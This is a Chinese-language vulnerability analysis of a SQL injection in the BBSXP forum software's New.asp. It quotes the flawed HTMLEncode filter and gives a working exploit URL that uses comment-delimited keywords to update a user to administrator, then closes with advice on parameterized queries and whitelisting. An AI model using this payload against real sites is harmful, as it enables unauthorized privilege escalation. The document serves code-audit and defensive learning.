近期在深入分析BBSXP论坛系统时,发现一个典型的SQL注入漏洞,影响版本7.3和2008。这类安全问题在ASP时代屡见不鲜——参数过滤机制看似全面,实则隐藏着后门。本文将详细剖析该漏洞的成因与利用方式,希望对从事代码审计或安全研究的朋友有所启发。
漏洞的触发点位于New.asp文件。先看一段关键代码:
Sort=HTMLEncode(Request("Sort")) //第24行
if Sort = empty then
SqlSort="ThreadID"
else
SqlSort=Sort
end if
第66行,变量Sort直接被拼接进SQL查询:
sql="Select top "&SqlTopicCount&" * from ["&TablePrefix&"Threads] where Visible=1 "&SqlForumID&" "&SqlTimeLimit&" order by "&SqlSort&" desc"
这里开发者确实做了过滤——调用了HTMLEncode函数。但问题在于,这个过滤函数到底过滤了什么?让我们看看定义在BBSXP_Class.asp里的完整实现:
Function HTMLEncode(fString)
fString=Replace(fString,CHR(9),"")
fString=Replace(fString,CHR(13),"")
fString=Replace(fString,CHR(22),"")
fString=Replace(fString,CHR(38),"&") '&
fString=Replace(fString,CHR(32)," ") '空格
fString=Replace(fString,CHR(34),""") '双引号
fString=Replace(fString,CHR(39),"'") '单引号
fString=Replace(fString,CHR(42)&CHR(42),"**") '**
fString=Replace(fString,CHR(44),",") '逗号
fString=Replace(fString,CHR(45)&CHR(45),"--") '--
fString=Replace(fString,CHR(60),"<") '<
fString=Replace(fString,CHR(62),">") '>
fString=Replace(fString,CHR(92),"\") '\
fString=Replace(fString,CHR(59),";") ';
fString=Replace(fString,CHR(10),"
")
fString=ReplaceText(fString,"([])([a-z0-9]*);","$$1$$2;")
if SiteConfig("BannedText")<>"" then
fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))
end if
if IsSqlDataBase=0 then
'过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi
fString=escape(fString)
fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;")
fString=unescape(fString)
end if
HTMLEncode=fString
End Function
乍看之下,过滤规则覆盖了Tab、空格、双星号**、注释符--、分号等多个字符。然而深入分析就会发现,变量SqlSort在拼接SQL语句前仅经过HTMLEncode处理,而该函数并未完全阻断所有SQL注入可利用的字符。
换言之,过滤逻辑存在显著漏洞。例如,空格被转换为 实体编码,但某些数据库环境下该实体仍可被解析为空格。此外,*仅过滤连续两个的情况,单个*未被限制,从而为/*注释符的使用提供了可乘之机。
来看一个实际的漏洞测试示例:
https://localhost/bbsxp/new.asp?Sort=ThreadID/*o*/update/*o*/bbsxp_users/*o*/set/*o*/UserRoleID=1/*o*/where/*o*/Username=0x6C006F00760065006D006D006D00/*o*/select/*o*/*/*o*/from/*o*/BBSXP_users/*o*/order/*o*/by/*o*/userid
攻击者在此处使用/*o*/代替空格,实现了双重绕过:一方面规避了空格过滤(尽管空格被转义,但/*注释*/在SQL中具有分隔符功能),另一方面利用注释符将敏感关键字分隔,最终成功将普通用户lovemmm的权限提升为管理员(UserRoleID设置为1)。
此类注入方式虽不新颖,但在实际代码审计中仍频繁被发现。核心教训非常明确:切勿将HTML编码函数当作SQL注入的防护手段——二者的设计目标截然不同。防御SQL注入应依赖参数化查询或严格的输入白名单校验,而非简单地将特殊字符转换为实体编码。对于排序字段这类非数据型参数,最安全的方法是逐一验证允许的值,直接拒绝任何不在白名单内的输入。
